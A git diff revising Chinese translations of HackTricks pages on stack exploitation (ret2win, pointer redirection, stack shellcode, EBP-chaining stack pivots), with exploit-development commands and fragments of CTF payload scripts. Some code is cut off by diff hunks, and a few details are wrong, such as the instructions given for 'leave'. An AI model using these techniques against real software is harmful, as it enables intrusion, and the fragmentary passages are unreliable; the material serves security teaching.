-### 栈内代码
+### 栈Shellcode
-在这种情况下，攻击者可以在栈中放置一个shellcode，并滥用受控的EIP/RIP来跳转到shellcode并执行任意代码：
+在这种情况下，攻击者可以将Shellcode放置在栈中，并利用控制的EIP/RIP跳转到Shellcode并执行任意代码：
{% content-ref url="stack-shellcode/" %}
[stack-shellcode](stack-shellcode/)
{% endcontent-ref %}
-### ROP和Ret2...技术
+### ROP & Ret2... 技术
-这种技术是绕过前一种技术的主要保护措施：**不可执行的栈（NX）**的基本框架。它允许执行几种其他技术（ret2lib、ret2syscall...），这些技术将通过滥用二进制文件中现有指令来执行任意命令：
+该技术是绕过前一种技术主要保护的基本框架：**不可执行栈（NX）**。它允许执行其他几种技术（ret2lib，ret2syscall...），通过滥用二进制文件中的现有指令最终执行任意命令：
{% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/)
@@ -93,7 +94,7 @@ pattern search $rsp #Search the offset given the content of $rsp
## 堆溢出
-溢出并不总是发生在栈中，例如，它也可能发生在**堆**中：
+溢出不总是发生在栈中，它也可能发生在**堆**中，例如：
{% content-ref url="../libc-heap/heap-overflow.md" %}
[heap-overflow.md](../libc-heap/heap-overflow.md)
@@ -101,8 +102,23 @@ pattern search $rsp #Search the offset given the content of $rsp
## 保护类型
-有几种保护措施试图防止利用漏洞，可以在以下位置查看它们：
+有几种保护措施试图防止漏洞的利用，请查看它们：
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %}
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/pointer-redirecting.md b/binary-exploitation/stack-overflow/pointer-redirecting.md
index e89dff713..4639cb924 100644
--- a/binary-exploitation/stack-overflow/pointer-redirecting.md
+++ b/binary-exploitation/stack-overflow/pointer-redirecting.md
@@ -1,53 +1,55 @@
# 指针重定向
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：支持 HackTricks
+ +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。 + +[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
## 字符串指针
-如果一个函数调用将使用位于堆栈中的字符串的地址，可以利用缓冲区溢出来**覆盖此地址**，并在二进制文件中放入**指向不同字符串的地址**。
+如果一个函数调用将使用位于栈中的字符串地址，可以利用缓冲区溢出来**覆盖此地址**并在二进制文件中放入**指向不同字符串的地址**。
-例如，如果一个**`system`**函数调用将**使用一个字符串的地址来执行命令**，攻击者可以在堆栈中放置**不同字符串的地址**，**`export PATH=.:$PATH`**，并在当前目录中创建一个**以新字符串的第一个字母命名的脚本**，因为这将由二进制文件执行。
+例如，如果一个 **`system`** 函数调用将**使用字符串的地址来执行命令**，攻击者可以在栈中放置**指向不同字符串的地址**，**`export PATH=.:$PATH`**，并在当前目录中创建一个**以新字符串的首字母命名的脚本**，因为这将由二进制文件执行。
您可以在以下位置找到一个**示例**：
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
-* 32位，更改堆栈中标志字符串的地址，以便通过`puts`打印出来
+* 32位，改变栈中指向标志字符串的地址，以便通过 `puts` 打印
## 函数指针
-与字符串指针相同，但应用于函数，如果**堆栈包含将被调用的函数的地址**，则可以**更改它**（例如调用**`system`**）。
+与字符串指针相同，但应用于函数，如果**栈中包含将被调用的函数的地址**，则可以**更改它**（例如，调用 **`system`**）。
您可以在以下位置找到一个示例：
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
-## 参考资料
+## 参考
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/ret2win/README.md b/binary-exploitation/stack-overflow/ret2win/README.md
index 18a496756..f0baf27b5 100644
--- a/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/binary-exploitation/stack-overflow/ret2win/README.md
@@ -1,26 +1,27 @@
# Ret2win
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
## 基本信息
-**Ret2win**挑战是**夺旗（CTF）**比赛中的一个热门类别，特别是在涉及**二进制利用**的任务中。目标是利用给定二进制文件中的漏洞，执行特定的未调用函数，通常命名为`win`、`flag`等。当执行时，该函数通常会打印出一个标志或成功消息。挑战通常涉及覆盖栈上的**返回地址**，以将执行流重定向到所需的函数。以下是更详细的解释和示例：
+**Ret2win** 挑战是 **Capture The Flag (CTF)** 竞赛中的一个热门类别，特别是在涉及 **二进制利用** 的任务中。目标是利用给定二进制文件中的漏洞，执行一个特定的、未被调用的函数，通常命名为 `win`、`flag` 等。当这个函数被执行时，通常会打印出一个标志或成功消息。挑战通常涉及覆盖栈上的 **返回地址**，以将执行流转向所需的函数。以下是更详细的解释和示例：
-### C示例
+### C 示例
-考虑一个简单的C程序，其中存在漏洞和一个我们打算调用的`win`函数：
+考虑一个简单的 C 程序，其中存在一个漏洞和一个我们打算调用的 `win` 函数：
```c
#include 从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-支持HackTricks的其他方式： - -- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术： [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index cea1803ea..5b5aad9c5 100644
--- a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -1,20 +1,21 @@
# Ret2win - arm64
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
-在以下位置找到arm64的介绍：
+在以下内容中找到 arm64 的介绍：
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
@@ -39,7 +40,7 @@ vulnerable_function();
return 0;
}
```
-编译时禁用 PIE 和 Canary：
+编译时不使用 pie 和 canary：
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
@@ -47,9 +48,9 @@ clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
### 模式选项
-这个示例是使用[**GEF**](https://github.com/bata24/gef)创建的：
+此示例是使用 [**GEF**](https://github.com/bata24/gef) 创建的：
-使用GEF启动gdb，创建模式并使用它：
+使用 gef 启动 gdb，创建模式并使用它：
```bash
gdb -q ./ret2win
pattern create 200
@@ -57,17 +58,17 @@ run
```
从零开始学习AWS黑客技术 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index 73cb010f1..c105685d8 100644
--- a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -1,72 +1,75 @@
-# 栈枢轴 - EBP2Ret - EBP链接
+# Stack Pivoting - EBP2Ret - EBP chaining
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-其他支持HackTricks的方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
## 基本信息
-这种技术利用了操纵**基指针（EBP）**的能力，通过精心使用EBP寄存器和**`leave; ret`**指令序列来链接多个函数的执行。
+该技术利用操控 **基指针 (EBP)** 的能力，通过仔细使用 EBP 寄存器和 **`leave; ret`** 指令序列来链接多个函数的执行。
-作为提醒，**`leave`**基本上意味着：
+作为提醒，**`leave`** 基本上意味着：
```
mov ebp, esp
pop ebp
ret
```
+And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
+
### EBP2Ret
-这种技术在你可以**改变 EBP 寄存器但无法直接改变 EIP 寄存器**时特别有用。它利用了函数执行完毕时的行为。
+这个技术在你可以**更改 EBP 寄存器但没有直接方法更改 EIP 寄存器**时特别有用。它利用了函数执行完毕后的行为。
-如果在 `fvuln` 执行期间，你成功地在栈中注入一个指向内存中你的 shellcode 地址的**伪造 EBP**（再加上 4 个字节以考虑 `pop` 操作），你就可以间接控制 EIP。当 `fvuln` 返回时，ESP 被设置为这个精心构造的位置，随后的 `pop` 操作将 ESP 减少 4，**有效地使其指向攻击者在其中存储的地址。**\
-注意你**需要知道 2 个地址**：ESP 将要到达的地址，你需要在那里写入 ESP 指向的地址。
+如果在 `fvuln` 执行期间，你设法在栈中注入一个指向内存中你 shellcode 地址的**假 EBP**（加上 4 字节以考虑 `pop` 操作），你可以间接控制 EIP。当 `fvuln` 返回时，ESP 被设置为这个构造的位置，随后的 `pop` 操作将 ESP 减少 4，**有效地使其指向攻击者在其中存储的地址。**\
+注意你**需要知道 2 个地址**：ESP 将要去的地址，以及你需要在 ESP 指向的地方写入的地址。
-#### 攻击构造
+#### Exploit Construction
首先，你需要知道一个**可以写入任意数据/地址的地址**。ESP 将指向这里并**运行第一个 `ret`**。
-然后，你需要知道 `ret` 使用的地址，将**执行任意代码**。你可以使用：
+然后，你需要知道 `ret` 使用的地址，这将**执行任意代码**。你可以使用：
* 一个有效的 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) 地址。
-* **`system()`** 地址，后跟**4 个无效字节**和 `"/bin/sh"` 地址（x86 位）。
-* 一个**`jump esp;`** gadget 地址（[**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)），后跟要执行的**shellcode**。
+* **`system()`** 的地址，后面跟 **4 个垃圾字节** 和 `"/bin/sh"` 的地址（x86 位）。
+* 一个 **`jump esp;`** gadget 的地址（[**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)），后面跟要执行的 **shellcode**。
* 一些 [**ROP**](../rop-return-oriented-programing/) 链
-请记住，在受控内存部分的任何这些地址之前，必须有**`4` 个字节**，因为 `leave` 指令的 `pop` 部分。可以滥用这 4B 来设置**第二个伪造 EBP**并继续控制执行。
+请记住，在受控内存的任何这些地址之前，必须有**`4` 字节**，因为 **`pop`** 部分的 `leave` 指令。可以利用这 4B 设置一个**第二个假 EBP**，并继续控制执行。
#### Off-By-One Exploit
-这种技术的一个特定变体称为“Off-By-One Exploit”。当你**只能修改 EBP 的最低有效字节**时使用。在这种情况下，存储要跳转到的地址的内存位置与 EBP 的前三个字节必须相同，允许在更受限制的条件下进行类似的操作。\
-通常修改字节 0x00 以跳转尽可能远。
+这个技术有一个特定的变体，称为“Off-By-One Exploit”。当你**只能修改 EBP 的最低有效字节**时使用。在这种情况下，存储要跳转到的地址的内存位置与 **`ret`** 必须共享前 3 个字节，从而允许在更受限的条件下进行类似的操作。\
+通常会修改字节 0x00t 以尽可能远地跳转。
-此外，通常在栈中使用 RET 滑梯，并将真正的 ROP 链放在末尾，以使新 ESP 更有可能指向 RET 滑梯内部并执行最终的 ROP 链。
+此外，通常在栈中使用 RET sled，并将真实的 ROP 链放在末尾，以使新的 ESP 更有可能指向 RET SLED 内部，并执行最终的 ROP 链。
-### **EBP 链接**
+### **EBP Chaining**
-因此，在栈的 `EBP` 条目中放置一个受控地址，并在 `EIP` 中放置一个指向 `leave; ret` 的地址，就可以**将 `ESP` 移动到栈中受控的 `EBP` 地址**。
+因此，将一个受控地址放入栈的 `EBP` 条目中，并在 `EIP` 中放入一个 `leave; ret` 的地址，可以**将 `ESP` 移动到栈中受控的 `EBP` 地址**。
-现在，**`ESP`** 被控制，指向一个期望的地址，下一个要执行的指令是 `RET`。为了滥用这一点，可以在受控 ESP 位置放置以下内容：
+现在，**`ESP`** 被控制，指向一个期望的地址，下一条要执行的指令是 `RET`。为了利用这一点，可以在受控的 ESP 位置放置以下内容：
-* **`&(下一个伪造 EBP)`** -> 加载新的 EBP，因为 `leave` 指令中的 `pop ebp`
-* **`system()`** -> 被 `ret` 调用
-* **`&(leave;ret)`** -> 在 system 结束后调用，它将移动 ESP 到伪造 EBP 并重新开始
+* **`&(next fake EBP)`** -> 由于 `leave` 指令中的 `pop ebp` 加载新的 EBP
+* **`system()`** -> 由 `ret` 调用
+* **`&(leave;ret)`** -> 在 system 结束后调用，它将 ESP 移动到假 EBP 并重新开始
* **`&("/bin/sh")`**-> `system` 的参数
-基本上，通过这种方式可以链接多个伪造的 EBP 来控制程序的流程。
+基本上，这种方式可以链接多个假 EBP 来控制程序的流程。
这就像一个 [ret2lib](../rop-return-oriented-programing/ret2lib/)，但更复杂，没有明显的好处，但在某些边缘情况下可能会很有趣。
-此外，这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)，使用这种技术和一个**栈泄漏**来调用一个获胜函数。这是页面上的最终有效载荷：
+此外，这里有一个 [**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)，使用这个技术与 **stack leak** 来调用一个获胜函数。这是页面的最终有效载荷：
```python
from pwn import *
@@ -102,10 +105,10 @@ pause()
p.sendline(payload)
print(p.recvline())
```
-## EBP可能不会被使用
+## EBP 可能未被使用
-正如[**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)，如果一个二进制文件被编译时进行了一些优化，**EBP永远无法控制ESP**，因此，任何通过控制EBP来工作的利用都基本上会失败，因为它没有任何真正的效果。\
-这是因为如果二进制文件被优化了，**函数的前导和尾声会发生变化**。
+正如 [**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)，如果一个二进制文件是使用某些优化编译的，**EBP 永远无法控制 ESP**，因此，任何通过控制 EBP 的漏洞利用基本上都会失败，因为它没有任何实际效果。\
+这是因为如果二进制文件经过优化，**前言和尾声会发生变化**。
* **未优化：**
```bash
@@ -129,11 +132,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
-## 控制 RSP 的其他方法
+## 其他控制 RSP 的方法
-### **`pop rsp`** 机关
+### **`pop rsp`** gadget
-[**在这个页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)中，您可以找到使用这种技术的示例。对于这个挑战，需要调用一个带有两个特定参数的函数，并且有一个**`pop rsp` 机关**以及**来自堆栈的泄漏**：
+[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 你可以找到使用此技术的示例。对于这个挑战，需要调用一个带有两个特定参数的函数，并且有一个 **`pop rsp` gadget** 和一个 **来自栈的泄漏**：
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@@ -177,7 +180,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
-### xchg \从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-shellcode/README.md b/binary-exploitation/stack-overflow/stack-shellcode/README.md
index aa7b867e8..e37e777aa 100644
--- a/binary-exploitation/stack-overflow/stack-shellcode/README.md
+++ b/binary-exploitation/stack-overflow/stack-shellcode/README.md
@@ -1,26 +1,27 @@
-# 栈 Shellcode
+# Stack Shellcode
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：支持 HackTricks
